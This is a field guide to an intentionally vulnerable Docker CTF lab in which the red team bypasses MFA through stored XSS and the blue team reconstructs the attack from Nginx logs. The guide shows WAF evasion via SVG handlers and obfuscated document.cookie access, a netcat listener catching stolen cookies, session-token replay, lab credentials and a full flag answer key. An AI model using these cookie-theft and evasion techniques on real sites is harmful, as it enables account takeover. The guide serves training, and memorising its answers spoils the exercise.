

SEC OPS TRACK

Red vs Blue CTF Lab — Field Guide

Cookies Reuse & MFA Bypass Scenario

Built by	Prima Praditya
Certification	CEH — Certified Ethical Hacker
LinkedIn	linkedin.com/in/primaadit
GitHub	github.com/primaadit/ctf-lab
Lab Type	Red vs Blue CTF — Self-contained Docker
Difficulty	Intermediate
Total Flags	33 (16 Red Team + 17 Blue Team)

■ **DISCLAIMER:** This lab is intentionally vulnerable by design. Deploy ONLY in isolated, offline environments. Never expose to public internet.

01 — OVERVIEW

SecOpsTrack by SalimLabs is a self-contained Red vs Blue cyber range lab built on Docker Compose. It simulates a realistic corporate "Admin Feedback System" with intentional security flaws that support a structured 3-phase attack chain.

Red Team exploits XSS, WAF bypass, and session replay to achieve full admin access without completing MFA. Blue Team analyzes Nginx-format logs to reconstruct the full attack timeline.

Architecture	4 Docker containers: Node.js webapp (port 3075), Nginx reverse proxy + logging, Alpine SSH server (port 2275), Python log injector
Deploy	docker compose up -d --build — full environment ready in under 2 minutes
Blue Team	ssh analyst@ -p 2275 password: blue_team_rocks

Scenario Brief

Internal security audits identified a critical flaw in a corporate Admin Feedback System. While MFA is enforced, the session token issuance logic is flawed. The `pre_mfa_session` cookie is set without `HttpOnly` protection, making it accessible to JavaScript. When combined with a Stored XSS vulnerability and a weak WAF, an attacker can steal the cookie, replay it to the dashboard, and bypass MFA entirely.

02 — RED TEAM PATH

Three phases. From zero knowledge to full admin access — without completing MFA.

Phase 1: Reconnaissance

Start with no credentials. Enumerate the target to identify technology, hidden paths, and session behavior.

```
curl -I http://feedback.admin.local:3075/
```

→ Response header reveals backend technology.

■ **SCENARIO075{Node.js} ← X-Powered-By: Node.js**

```
curl http://feedback.admin.local:3075/robots.txt
```

→ Reveals two disallowed paths: the MFA endpoint and the admin dashboard.

■ **SCENARIO075{/api/verify-mfa} and SCENARIO075{/dashboard}**

View HTML source of the main page — look for ASCII art comment hinting at robots.txt.

■ **SCENARIO075{robots.txt}**

```
curl -v http://feedback.admin.local:3075/ 2>&1 | grep Set-Cookie
```

→ Cookie pre_mfa_session is set WITHOUT HttpOnly flag — JavaScript can read it.

■ **SCENARIO075{pre_mfa_session} | SCENARIO075{pending_mfa_verification} | SCENARIO075{False}**

Phase 2: WAF Bypass + XSS Cookie Theft

Test the WAF, find the bypass vector, then inject a payload that exfiltrates the session cookie.

```
POST /api/feedback {"message":"alert(1)"}
```

→ 403 Forbidden. WAF blocks script tags. Only POST method accepted.

■ **SCENARIO075{POST} | SCENARIO075{403}**

```
POST /api/feedback {"message":""}
```

→ 200 OK. WAF does not check HTML5 SVG event handlers.

■ **SCENARIO075{}**

WAF also blocks the string "document.cookie" — use bracket notation obfuscation:

```
window['docu'+ 'ment']['coo'+ 'kie']
```

■ **SCENARIO075{window['docu'+ 'ment']['coo'+ 'kie']}**

Full exfiltration payload (submit via browser feedback form):

■ **SCENARIO075{fetch}**

Catch the stolen cookie on attacker machine:

```
nc -lvnp 8080
```

→ Receives: GET /?c=pre_mfa_session=pending_mfa_verification (or adm_sess if admin logged in)

Phase 3: MFA Bypass via Session Replay

Replay the stolen admin session cookie. The auth middleware never calls /api/verify-mfa.

```
curl -b "adm_sess=adm_sess_4dm1n_s3cr3t_t0k3n_2024" http://target:3075/dashboard
```

→ Dashboard loads. MFA endpoint was never called. Authenticated as admin.

■ SCENARIO075{adm_sess} | SCENARIO075{/api/verify-mfa} | SCENARIO075{xss-payload}

The final flag is visible in the dashboard:

■ SCENARIO075{RED_C00k13_MFA_Byp4ss_0wn3d} ← FINAL RED TEAM FLAG ■

Red Team Flag Summary

Phase	Flag	Location
Recon	SCENARIO075{Node.js}	X-Powered-By header
Recon	SCENARIO075{robots.txt}	HTML source ASCII art
Recon	SCENARIO075{/api/verify-mfa}	robots.txt disallow
Recon	SCENARIO075{/dashboard}	robots.txt disallow
Recon	SCENARIO075{pre_mfa_session}	Cookie name
Recon	SCENARIO075{pending_mfa_verification}	Cookie value
Recon	SCENARIO075{False}	HttpOnly not set
WAF/XSS	SCENARIO075{POST}	Endpoint method
WAF/XSS	SCENARIO075{403}	WAF block status
WAF/XSS	SCENARIO075{<svg>;}	WAF bypass element
WAF/XSS	SCENARIO075{window[...cookie]}	Bracket obfuscation
WAF/XSS	SCENARIO075{fetch}	Exfiltration API
MFA Bypass	SCENARIO075{adm_sess}	Admin cookie prefix
MFA Bypass	SCENARIO075{/api/verify-mfa}	Never called on replay
MFA Bypass	SCENARIO075{xss-payload}	Dashboard CSS class
FINAL	SCENARIO075{RED_C00k13_MFA_Byp4ss_0wn3d}	Admin dashboard

03 — BLUE TEAM PATH

Reconstruct the full attack timeline using only Nginx access logs and application error logs.

SSH Access	ssh analyst@ -p 2275 Password: blue_team_rocks
Log Location	/opt/admin/logs/access.log and /opt/admin/logs/error.log

Phase 1: Log Forensics

```
ls /opt/admin/logs/
```

■ SCENARIO075{/opt/admin/logs}

```
awk '{print $1}' access.log | sort | uniq -c | sort -rn
```

→ Two IPs: 192.168.1.100 (legitimate baseline) and 10.10.14.50 (attacker)

■ SCENARIO075{10.10.14.50} | SCENARIO075{Mozilla/5.0} | SCENARIO075{192.168.1.100}

```
grep '10.10.14.50' access.log | grep 'dashboard' | grep ' 200 '
```

→ Finds dashboard access at timestamp 18:51:55 with status 200

■ SCENARIO075{200} | SCENARIO075{18:51:55}

```
grep 'QkxVRV' access.log
```

→ Finds X-Forwarded-For field containing Base64-encoded exfiltration string

■ SCENARIO075{QkxVRV9GTEFHe0wwR19IVW50M3JfTTRzdDNyXzB3bjN9}

Phase 2: Threat Hunting

```
grep 'WAF_BLOCK' error.log | head -1
```

→ First WAF block at 18:50:15, payload: alert(1)

■ SCENARIO075{/opt/admin/logs/error.log} | SCENARIO075{<script>} | SCENARIO075{18:50:15}

Attacker IP 10.10.14.50 belongs to subnet:

■ SCENARIO075{10.10.14.0/24}

```
grep '10.10.14.50' access.log | grep 'verify-mfa'
```

→ No results. Attacker never hit the MFA endpoint.

■ SCENARIO075{No}

Phase 3: Incident Response

```
echo 'QkxVRV9GTEFHe0wwR19IVW50M3JfTTRzdDNyXzB3bjN9' | base64 -d
```

→ Decodes to reveal hidden flag content. Encoding: Base64, length: 44 characters.

■ SCENARIO075{Base64} | SCENARIO075{44}

```
grep 'CRITICAL' error.log
```

→ Cookie reuse events flagged as CRITICAL severity

■ SCENARIO075{CRITICAL}

```
grep '18:53:10' error.log
```

→ Entry at 18:53:10 contains exact string: Authentication bypass anomaly

■ SCENARIO075{18:53:10} | SCENARIO075{Authentication bypass anomaly}

Final Blue Team flag (derived from decoded Base64):

■ SCENARIO075{BLUE_LOG_HUnt3r_M4st3r} ← FINAL BLUE TEAM FLAG ■

Blue Team Flag Summary

Phase	Flag	Location
Log Forensics	SCENARIO075{/opt/admin/logs}	Log directory path
Log Forensics	SCENARIO075{10.10.14.50}	Attacker IP
Log Forensics	SCENARIO075{Mozilla/5.0}	Attacker User-Agent
Log Forensics	SCENARIO075{200}	Dashboard status code
Log Forensics	SCENARIO075{18:51:55}	Dashboard timestamp
Log Forensics	SCENARIO075{QkxVRV9GT...}	Base64 in X-Fwd-For
Threat Hunt	SCENARIO075{192.168.1.100}	Legit baseline IP
Threat Hunt	SCENARIO075{10.10.14.0/24}	Attacker subnet
Threat Hunt	SCENARIO075{/opt/admin/logs/error.log}	Error log path
Threat Hunt	SCENARIO075{<script>}	First WAF block payload
Threat Hunt	SCENARIO075{18:50:15}	First WAF block time
Threat Hunt	SCENARIO075{No}	MFA never reached
IR	SCENARIO075{Base64}	Exfil encoding type
IR	SCENARIO075{44}	Encoded string length
IR	SCENARIO075{CRITICAL}	Cookie reuse log level
IR	SCENARIO075{18:53:10}	Anomaly timestamp
IR	SCENARIO075{Authentication bypass anomaly}	Error log string
FINAL	SCENARIO075{BLUE_LOG_HUnt3r_M4st3r}	Decoded from Base64

04 — DEPLOYMENT

Requirements: Ubuntu 22.04 VM, Docker + Docker Compose installed, internet access to pull images.

Quick Deploy

```
git clone https://github.com/primaadit/ctf-lab.git
cd ctf-lab
docker compose up -d --build
# Wait ~15 seconds for log injector to complete
docker compose ps
```

Service Endpoints

Service	Address	Credentials
Web App	http://<VM_IP>:3075	—
SSH (Blue Team)	ssh analyst@<VM_IP> -p 2275	blue_team_rocks
Logs	/opt/admin/logs/	via SSH

Verification

```
curl -I http://localhost:3075/ # Should show X-Powered-By: Node.js
curl http://localhost:3075/robots.txt # Should show /api/verify-mfa
# WAF test (should return 403):
curl -X POST http://localhost:3075/api/feedback -H 'Content-Type: application/json' -d '{"message":"x"}'
# MFA bypass test (should show final flag):
curl -b "adm_sess=adm_sess_4dm1n_s3cr3t_t0k3n_2024" http://localhost:3075/dashboard |
grep SCENARIO75
```

Reset Lab

```
docker compose down # Stop, preserve logs
docker compose down -v # Full reset — clears all data
docker compose up -d --build # Restart fresh
```

05 — ABOUT THE BUILDER

Name	Prima Praditya (Abu Hamzah Salim)
Certification	CEH — Certified Ethical Hacker
Experience	5+ years in IT and Cybersecurity
LinkedIn	linkedin.com/in/primaadit
GitHub	github.com/primaadit
Specialization	Penetration Testing, Red Teaming, Full-Stack Development
Stack	Node.js, React, Docker, Burp Suite, Hydra, Python

This lab was designed and built as a practical demonstration of real-world web application vulnerabilities and defensive security techniques. It covers the full attack lifecycle — from initial reconnaissance through exploitation to incident response — providing a complete training environment for both offensive and defensive security practitioners.